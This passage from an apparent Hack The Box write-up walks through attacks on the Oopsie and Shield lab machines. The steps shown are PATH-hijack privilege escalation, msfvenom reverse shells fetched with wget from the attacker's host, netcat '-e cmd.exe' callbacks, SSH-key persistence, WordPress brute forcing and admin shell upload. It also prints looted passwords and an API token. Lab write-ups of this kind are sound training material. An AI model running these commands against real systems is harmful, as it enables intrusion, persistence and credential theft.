     use post/multi/recon/local_exploit_suggester
     options
     set SESSION 1
     run
     ```

     Result: No suggestions found

     ```
     [*] 10.10.10.28 - Collecting local exploits for php/linux...
     [-] 10.10.10.28 - No suggestions available.
     [*] Post module execution completed
     ```
   * Run `id` as `robert`: `uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)` reveals he is part of `bugtracker`
   * We can enumerate the filesystem to see if this group has any special access: `find / -type f -group bugtracker 2>/dev/null`

     ```
     -rwsr-xr-- 1 root bugtracker 8792 Jan 25 10:14 /usr/bin/bugtracker
     ```
   * Run `/usr/bin/bugtracker`

     ```
     robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker                                                
     /usr/bin/bugtracker

     ------------------
     : EV Bug Tracker :
     ------------------

     Provide Bug ID: 1
     1
     ---------------

     Binary package hint: ev-engine-lib

     Version: 3.3.3-1

     Reproduce:
     When loading library in firmware it seems to be crashed

     What you expected to happen:
     Synchronized browsing to be enabled since it is enabled for that site.

     What happened instead:
     Synchronized browsing is disabled. Even choosing VIEW > SYNCHRONIZED BROWSING from menu does not stay enabled between connects.

     robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
     /usr/bin/bugtracker

     ------------------
     : EV Bug Tracker :
     ------------------

     Provide Bug ID: 2
     2
     ---------------

     If you connect to a site filezilla will remember the host, the username and the password (optional). The same is true for the site manager. But if a port other than 21 is used the port is saved in .config/filezilla - but the information from this file isn't downloaded again afterwards.

     ProblemType: Bug
     DistroRelease: Ubuntu 16.10
     Package: filezilla 3.15.0.2-1ubuntu1
     Uname: Linux 4.5.0-040500rc7-generic x86_64
     ApportVersion: 2.20.1-0ubuntu3
     Architecture: amd64
     CurrentDesktop: Unity
     Date: Sat May 7 16:58:57 2016
     EcryptfsInUse: Yes
     SourcePackage: filezilla
     UpgradeStatus: No upgrade log present (probably fresh install)

     robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
     /usr/bin/bugtracker

     ------------------
     : EV Bug Tracker :
     ------------------

     Provide Bug ID: 3
     3
     ---------------

     Hello,

     When transferring files from an FTP server (TLS or not) to an SMB share, Filezilla keeps freezing which leads down to very much slower transfers ...

     Looking at resources usage, the gvfs-smb process works hard (60% cpu usage on my I7)

     I don't have such an issue or any slowdown when using other apps over the same SMB shares.

     ProblemType: Bug
     DistroRelease: Ubuntu 12.04
     Package: filezilla 3.5.3-1ubuntu2
     ProcVersionSignature: Ubuntu 3.2.0-25.40-generic 3.2.18
     Uname: Linux 3.2.0-25-generic x86_64
     NonfreeKernelModules: nvidia
     ApportVersion: 2.0.1-0ubuntu8
     Architecture: amd64
     Date: Sun Jul 1 19:06:31 2012
     EcryptfsInUse: Yes
     InstallationMedia: Ubuntu 12.04 LTS "Precise Pangolin" - Alpha amd64 (20120316)
     ProcEnviron:
      TERM=xterm
      PATH=(custom, user)
      LANG=fr_FR.UTF-8
      SHELL=/bin/bash
     SourcePackage: filezilla
     UpgradeStatus: No upgrade log present (probably fresh install)
     ---
     ApportVersion: 2.13.3-0ubuntu1
     Architecture: amd64
     DistroRelease: Ubuntu 14.04
     EcryptfsInUse: Yes
     InstallationDate: Installed on 2013-02-23 (395 days ago)
     InstallationMedia: Ubuntu 12.10 "Quantal Quetzal" - Release amd64 (20121017.5)
     Package: gvfs
     PackageArchitecture: amd64
     ProcEnviron:
      LANGUAGE=fr_FR
      TERM=xterm
      PATH=(custom, no user)
      LANG=fr_FR.UTF-8
      SHELL=/bin/bash
     ProcVersionSignature: Ubuntu 3.13.0-19.40-generic 3.13.6
     Tags: trusty
     Uname: Linux 3.13.0-19-generic x86_64
     UpgradeStatus: Upgraded to trusty on 2014-03-25 (0 days ago)
     UserGroups:

     robert@oopsie:/var/www/html/cdn-cgi/login$ /usr/bin/bugtracker
     /usr/bin/bugtracker

     ------------------
     : EV Bug Tracker :
     ------------------

     Provide Bug ID: 4
     4
     ---------------

     cat: /root/reports/4: No such file or directory
     ```
   * Try `strings /usr/bin/bugtracker`

     ```
     ------------------
     : EV Bug Tracker :
     ------------------
     Provide Bug ID: 
     ---------------
     cat /root/reports/
     ;*3$"
     GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0
     ```

     Results: We see that it calls the cat binary using this relative path instead of the absolute path. By creating a malicious cat, and modifying the path to include the current working directory, we should be able to abuse this misconfiguration, and escalate our privileges to root.
   * Let's add the current working directory to PATH, create the malicious binary and make it executable.

     ```
     export PATH=/tmp:$PATH
     cd /tmp/
     echo '/bin/bash' > cat
     chmod +x cat
     ```

     The relative `cat` command is now `/bin/bash`
   * Run `/usr/bin/bugtracker` and gain root.
     * `/bin/cat root.txt`
     * **Root Flag:** `af13b0bee69f8a877c3faf667f7beacf`
10. Post Exploitation
    1. Create exploit to run as root; `msfvenom -p cmd/unix/reverse_bash LHOST=10.10.15.117 LPORT=34847 -f raw > shell.sh`
    2. Host the new exploit for downloading: `sudo python3 -m http.server 80`
    3. Download exploit onto target: `wget 10.10.15.117/shell.sh`
    4. Open up port to listen on:

       ```
       use exploit/multi/handler
       set payload cmd/unix/reverse_bash
       options
       set LHOST 10.10.15.117
       set LPORT 34847
       run
       ```
    5. Run `./shell.sh` as root
    6. Upgrade to meterpreter

       ```
       use post/multi/manage/shell_to_meterpreter
       set session 1
       run
       ```
    7. Allow access in at any time with SSH

       ```
       use post/linux/manage/sshkey_persistence
       set session 2
       run
       ```

       And then in normal attacker prompt:

       ```
       sudo chmod 400 /root/.msf4/loot/20200504015710_default_10.10.10.28_id_rsa_480866.txt
       sudo ssh -o "IdentitiesOnly=yes" -i /root/.msf4/loot/20200504015710_default_10.10.10.28_id_rsa_480866.txt root@10.10.10.28
       ```
    8. Find loot

       ```
       root@oopsie:~/.config/filezilla# cat /root/.config/filezilla/filezilla.xml 
       <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
       <FileZilla3>
           <RecentServers>
               <Server>
                   <Host>10.10.10.44</Host>
                   <Port>21</Port>
                   <Protocol>0</Protocol>
                   <Type>0</Type>
                   <User>ftpuser</User>
                   <Pass>mc@F1l3ZilL4</Pass>
                   <Logontype>1</Logontype>
                   <TimezoneOffset>0</TimezoneOffset>
                   <PasvMode>MODE_DEFAULT</PasvMode>
                   <MaximumMultipleConnections>0</MaximumMultipleConnections>
                   <EncodingType>Auto</EncodingType>
                   <BypassProxy>0</BypassProxy>
               </Server>
           </RecentServers>
       </FileZilla3>
       ```


# Shield

HTB - Shield

1. `nmap -T4 -A -p- 10.10.10.29`

   ```
   kali@kali:~$ nmap -T4 -A -p- 10.10.10.29
   Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-04 17:10 EDT
   Nmap scan report for 10.10.10.29
   Host is up (0.47s latency).
   Not shown: 65533 filtered ports
   PORT     STATE SERVICE VERSION
   80/tcp   open  http    Microsoft IIS httpd 10.0
   | http-methods: 
   |_  Potentially risky methods: TRACE
   |_http-server-header: Microsoft-IIS/10.0
   |_http-title: IIS Windows Server
   3306/tcp open  mysql   MySQL (unauthorized)
   Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

   Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
   Nmap done: 1 IP address (1 host up) scanned in 643.75 seconds
   ```
2. Nessus scan for fun Start with `sudo /etc/init.d/nessusd start` and go to `https://kali:8834`
3. Enumerate HTTP
   * Ran `sudo nikto -h http://10.10.10.29`

     ```
     kali@kali:~$ sudo nikto -h http://10.10.10.29
     [sudo] password for kali: 
     - Nikto v2.1.6
     ---------------------------------------------------------------------------
     + Target IP:          10.10.10.29
     + Target Hostname:    10.10.10.29
     + Target Port:        80
     + Start Time:         2020-05-04 17:16:16 (GMT-4)
     ---------------------------------------------------------------------------
     + Server: Microsoft-IIS/10.0
     + The anti-clickjacking X-Frame-Options header is not present.
     + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
     + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
     + No CGI Directories found (use '-C all' to force check all possible dirs)
     + Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
     + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
     + 7863 requests: 0 error(s) and 5 item(s) reported on remote host
     + End Time:           2020-05-04 18:12:15 (GMT-4) (3359 seconds)
     ---------------------------------------------------------------------------
     + 1 host(s) tested
     kali@kali:~$ sudo nikto -h http://10.10.10.29/wordpress
     [sudo] password for kali: 
     - Nikto v2.1.6
     ---------------------------------------------------------------------------
     + Target IP:          10.10.10.29
     + Target Hostname:    10.10.10.29
     + Target Port:        80
     + Start Time:         2020-05-04 18:41:32 (GMT-4)
     ---------------------------------------------------------------------------
     + Server: No banner retrieved
     + Retrieved x-powered-by header: PHP/7.1.29
     + The anti-clickjacking X-Frame-Options header is not present.
     + The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
     + Uncommon header 'link' found, with multiple values: (<http://10.10.10.29/wordpress/index.php/wp-json/>; rel="https://api.w.org/",<http://10.10.10.29/wordpress/>; rel=shortlink,)
     + The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
     + Uncommon header 'x-redirect-by' found, with contents: WordPress
     + No CGI Directories found (use '-C all' to force check all possible dirs)
     + Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
     + Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
     + ERROR: Error limit (20) reached for host, giving up. Last error:                                                                                         
     + Scan terminated:  3 error(s) and 8 item(s) reported on remote host                                                                                       
     + End Time:           2020-05-04 19:11:11 (GMT-4) (1779 seconds)                                                                                           
     ---------------------------------------------------------------------------                                                                                
     + 1 host(s) tested 
     ```
   * Visit `http://10.10.10.29` ![Screenshot-20200504172102-1248x817.png](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-e0f0cc5c36aaa47399c1d4e8c0abc737f3c19f9c%2Fa7e44395f3a74fac82d9717d65d9cffc.png?alt=media)
   * Subdirectory brute force with gobuster: `gobuster dir -u http://10.10.10.29/ -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt` (other possible wordlist: `/usr/share/wordlists/dirb/common.txt`)

     ```
     ===============================================================
     Gobuster v3.0.1
     by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
     ===============================================================
     [+] Url:            http://10.10.10.29/
     [+] Threads:        200
     [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
     [+] Status codes:   200,204,301,302,307,401,403
     [+] User Agent:     gobuster/3.0.1
     [+] Timeout:        10s
     ===============================================================
     2020/05/04 17:27:45 Starting gobuster
     ===============================================================
     /wordpress (Status: 301)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/people: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/aboutus: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/new: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/sports: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/buttons: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/image: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/blogs: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/products: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/events: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:27:56 [!] Get http://10.10.10.29/music: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:12 [!] Get http://10.10.10.29/474: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:12 [!] Get http://10.10.10.29/Top: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:13 [!] net/http: request canceled (Client.Timeout exceeded while reading body)
     [ERROR] 2020/05/04 17:28:15 [!] Get http://10.10.10.29/Logos: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:15 [!] Get http://10.10.10.29/infobox: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:15 [!] Get http://10.10.10.29/994: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:15 [!] Get http://10.10.10.29/777: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     [ERROR] 2020/05/04 17:28:16 [!] Get http://10.10.10.29/su: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     /WordPress (Status: 301)
     [ERROR] 2020/05/04 17:30:21 [!] Get http://10.10.10.29/category3: net/http: request canceled (Client.Timeout exceeded while awaiting headers)
     /Wordpress (Status: 301)
     ===============================================================
     2020/05/04 17:34:53 Finished
     ===============================================================
     ```
   * Wordpress install found at `/wordpress/`
   * Run `wpscan`:

     ```
     wpscan --update
     wpscan --url 10.10.10.29/wordpress/ --api-token 4emjktvbV4Csl9u9IVTpH5uWcnXvgwJZfWSCSlu0s3g
     ```

     Output:

     ```
     _______________________________________________________________
              __          _______   _____
              \ \        / /  __ \ / ____|
               \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
                \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                 \  /\  /  | |     ____) | (__| (_| | | | |
                  \/  \/   |_|    |_____/ \___|\__,_|_| |_|

              WordPress Security Scanner by the WPScan Team
                              Version 3.8.1
            Sponsored by Automattic - https://automattic.com/
            @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
     _______________________________________________________________

     [+] URL: http://10.10.10.29/wordpress/ [10.10.10.29]
     [+] Started: Mon May  4 17:38:24 2020

     Interesting Finding(s):

     [+] Headers
      | Interesting Entries:
      |  - Server: Microsoft-IIS/10.0
      |  - X-Powered-By: PHP/7.1.29
      | Found By: Headers (Passive Detection)
      | Confidence: 100%

     [+] XML-RPC seems to be enabled: http://10.10.10.29/wordpress/xmlrpc.php
      | Found By: Direct Access (Aggressive Detection)
      | Confidence: 100%
      | References:
      |  - http://codex.wordpress.org/XML-RPC_Pingback_API
      |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
      |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
      |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
      |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access

     [+] http://10.10.10.29/wordpress/readme.html
      | Found By: Direct Access (Aggressive Detection)
      | Confidence: 100%

     [+] The external WP-Cron seems to be enabled: http://10.10.10.29/wordpress/wp-cron.php
      | Found By: Direct Access (Aggressive Detection)
      | Confidence: 60%
      | References:
      |  - https://www.iplocation.net/defend-wordpress-from-ddos
      |  - https://github.com/wpscanteam/wpscan/issues/1299

     [+] WordPress version 5.2.1 identified (Insecure, released on 2019-05-21).
      | Found By: Rss Generator (Passive Detection)
      |  - http://10.10.10.29/wordpress/index.php/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>
      |  - http://10.10.10.29/wordpress/index.php/comments/feed/, <generator>https://wordpress.org/?v=5.2.1</generator>
      |
      | [!] 18 vulnerabilities identified:
      |
      | [!] Title: WordPress <= 5.2.2 - Cross-Site Scripting (XSS) in URL Sanitisation
      |     Fixed in: 5.2.3
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9867
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16222
      |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
      |      - https://github.com/WordPress/WordPress/commit/30ac67579559fe42251b5a9f887211bf61a8ed68
      |      - https://hackerone.com/reports/339483
      |
      | [!] Title: WordPress 5.0-5.2.2 - Authenticated Stored XSS in Shortcode Previews
      |     Fixed in: 5.2.3
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9864
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16219
      |      - https://wordpress.org/news/2019/09/wordpress-5-2-3-security-and-maintenance-release/
      |      - https://fortiguard.com/zeroday/FG-VD-18-165
      |      - https://www.fortinet.com/blog/threat-research/wordpress-core-stored-xss-vulnerability.html
      |
      | [!] Title: WordPress <= 5.2.3 - Stored XSS in Customizer
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9908
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17674
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |
      | [!] Title: WordPress <= 5.2.3 - Unauthenticated View Private/Draft Posts
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9909
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17671
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |      - https://github.com/WordPress/WordPress/commit/f82ed753cf00329a5e41f2cb6dc521085136f308
      |      - https://0day.work/proof-of-concept-for-wordpress-5-2-3-viewing-unauthenticated-posts/
      |
      | [!] Title: WordPress <= 5.2.3 - Stored XSS in Style Tags
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9910
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17672
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |
      | [!] Title: WordPress <= 5.2.3 - JSON Request Cache Poisoning
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9911
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17673
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://github.com/WordPress/WordPress/commit/b224c251adfa16a5f84074a3c0886270c9df38de
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |
      | [!] Title: WordPress <= 5.2.3 - Server-Side Request Forgery (SSRF) in URL Validation 
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9912
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17669
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17670
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://github.com/WordPress/WordPress/commit/9db44754b9e4044690a6c32fd74b9d5fe26b07b2
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |
      | [!] Title: WordPress <= 5.2.3 - Admin Referrer Validation
      |     Fixed in: 5.2.4
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9913
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-17675
      |      - https://wordpress.org/news/2019/10/wordpress-5-2-4-security-release/
      |      - https://github.com/WordPress/WordPress/commit/b183fd1cca0b44a92f0264823dd9f22d2fd8b8d0
      |      - https://blog.wpscan.org/wordpress/security/release/2019/10/15/wordpress-524-security-release-breakdown.html
      |
      | [!] Title: WordPress <= 5.3 - Authenticated Improper Access Controls in REST API
      |     Fixed in: 5.2.5
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9973
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20043
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16788
      |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-g7rg-hchx-c2gw
      |
      | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Crafted Links
      |     Fixed in: 5.2.5
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9975
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16773
      |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
      |      - https://hackerone.com/reports/509930
      |      - https://github.com/WordPress/wordpress-develop/commit/1f7f3f1f59567e2504f0fbebd51ccf004b3ccb1d
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xvg2-m2f4-83m7
      |
      | [!] Title: WordPress <= 5.3 - Authenticated Stored XSS via Block Editor Content
      |     Fixed in: 5.2.5
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/9976
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16781
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-16780
      |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-pg4x-64rh-3c9v
      |
      | [!] Title: WordPress <= 5.3 - wp_kses_bad_protocol() Colon Bypass
      |     Fixed in: 5.2.5
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10004
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20041
      |      - https://wordpress.org/news/2019/12/wordpress-5-3-1-security-and-maintenance-release/
      |      - https://github.com/WordPress/wordpress-develop/commit/b1975463dd995da19bb40d3fa0786498717e3c53
      |
      | [!] Title: WordPress < 5.4.1 - Password Reset Tokens Failed to Be Properly Invalidated
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10201
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11027
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47634/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-ww7v-jg8c-q6jw
      |
      | [!] Title: WordPress < 5.4.1 - Unauthenticated Users View Private Posts
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10202
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11028
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47635/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-xhx9-759f-6p2w
      |
      | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Customizer
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10203
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11025
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47633/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-4mhg-j6fx-5g3c
      |
      | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in Search Block
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10204
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11030
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47636/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-vccm-6gmc-qhjh
      |
      | [!] Title: WordPress < 5.4.1 - Cross-Site Scripting (XSS) in wp-object-cache
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10205
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11029
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47637/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-568w-8m88-8g2c
      |
      | [!] Title: WordPress < 5.4.1 - Authenticated Cross-Site Scripting (XSS) in File Uploads
      |     Fixed in: 5.2.6
      |     References:
      |      - https://wpvulndb.com/vulnerabilities/10206
      |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-11026
      |      - https://wordpress.org/news/2020/04/wordpress-5-4-1/
      |      - https://core.trac.wordpress.org/changeset/47638/
      |      - https://www.wordfence.com/blog/2020/04/unpacking-the-7-vulnerabilities-fixed-in-todays-wordpress-5-4-1-security-update/
      |      - https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-3gw2-4656-pfr2

     [i] The main theme could not be detected.

     [+] Enumerating All Plugins (via Passive Methods)
     [+] Checking Plugin Versions (via Passive and Aggressive Methods)

     [i] Plugin(s) Identified:

     [+] mesmerize-companion
      | Location: http://10.10.10.29/wordpress/wp-content/plugins/mesmerize-companion/
      | Latest Version: 1.6.111
      | Last Updated: 2020-04-10T15:01:00.000Z
      |
      | Found By: Urls In Homepage (Passive Detection)
      |
      | The version could not be determined.

     [+] Enumerating Config Backups (via Passive and Aggressive Methods)
      Checking Config Backups - Time: 00:00:04 <==============================================================================> (21 / 21) 100.00% Time: 00:00:04

     [i] No Config Backups Found.

     [+] WPVulnDB API OK
      | Plan: free
      | Requests Done (during the scan): 2
      | Requests Remaining: 48

     [+] Finished: Mon May  4 17:38:40 2020
     [+] Requests Done: 27
     [+] Cached Requests: 36
     [+] Data Sent: 6.36 KB
     [+] Data Received: 18.56 KB
     [+] Memory used: 175.391 MB
     [+] Elapsed time: 00:00:15
     ```
   * Enumerate Users: `wpscan --url 10.10.10.29/wordpress/ --enumerate u`

     ```
     [+] Enumerating Users (via Passive and Aggressive Methods)
      Brute Forcing Author IDs - Time: 00:00:30 <=============================================================================> (10 / 10) 100.00% Time: 00:00:30

     [i] User(s) Identified:

     [+] admin
      | Found By: Rss Generator (Passive Detection)
      | Confirmed By:
      |  Wp Json Api (Aggressive Detection)
      |   - http://10.10.10.29/wordpress/index.php/wp-json/wp/v2/users/?per_page=100&page=1
      |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
      |  Login Error Messages (Aggressive Detection)
     ```
   * Bruteforce login: `wpscan --url 10.10.10.29/wordpress/ --passwords /usr/share/wordlists/rockyou.txt --usernames admin --max-threads 50 --api-token 4emjktvbV4Csl9u9IVTpH5uWcnXvgwJZfWSCSlu0s3g`
   * Login found to be `admin:P@s5w0rd!` from last box. Go to `http://10.10.10.29/wordpress/wp-login.php` and login.
   * Searching for `metasploit wordpress` yields <https://www.rapid7.com/db/modules/exploit/unix/webapp/wp\\_admin\\_shell\\_upload>
4. Exploit

   ```
   sudo msfconsole
   msf > use exploit/unix/webapp/wp_admin_shell_upload
   msf > set PASSWORD P@s5w0rd!
   msf > set USERNAME admin
   msf > set TARGETURI /wordpress
   msf > set RHOSTS 10.10.10.29
   msf > set LPORT 443
   msf > set payload php/meterpreter_reverse_tcp
   msf > exploit
   ```

   * Upgrade to more stable shell:

     ```
     wget https://eternallybored.org/misc/netcat/netcat-win32-1.12.zip
     untar netcat-win32-1.12.zip
     msf > cd C:/inetpub/wwwroot/wordpress/wp-content/uploads
     sudo python3 -m http.server 80
     msf > shell
     > iwr -outf nc.exe http://10.10.14.173/nc.exe
     nc -lvp 1234
     msf > execute -f nc.exe -a "-e cmd.exe 10.10.14.173 1234"
     ```
   * 2nd way to upgrade (much better):
     1. Change paylaod to download and execute

        ```
        set payload php/download_exec
        msf > set url http://10.10.14.173/shell.exe
        ```
     2. Create exploit: `msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.173 LPORT=443 -f exe > shell.exe`
     3. Run server: `sudo python3 -m http.server 80`
     4. Open up port to listen on:

        ```
        use exploit/multi/handler
        set payload windows/meterpreter/reverse_tcp
        options
        set LHOST 10.10.15.117
        set LPORT 443
        run
        ```

   Sysinfo:

   ```
   sysinfo
   Computer    : SHIELD
   OS          : Windows NT SHIELD 10.0 build 14393 (Windows Server 2016) i586
   Meterpreter : php/windows
   ```
5. Privilege Escalation ([Great Tutorial for Windows](https://github.com/frizb/Windows-Privilege-Escalation))

   * Find exploit:
     * Method 1: Priv esc suggester

       ```
       search suggester
       use 0
       options
       set session 1
       run
       ```

       Result:

       ```
       0.29 - Collecting local exploits for x86/windows...
       [*] 10.10.10.29 - 30 exploit checks are being tried...
       [+] 10.10.10.29 - exploit/windows/local/ms16_032_secondary_logon_handle_privesc: The service is running, but could not be validated.
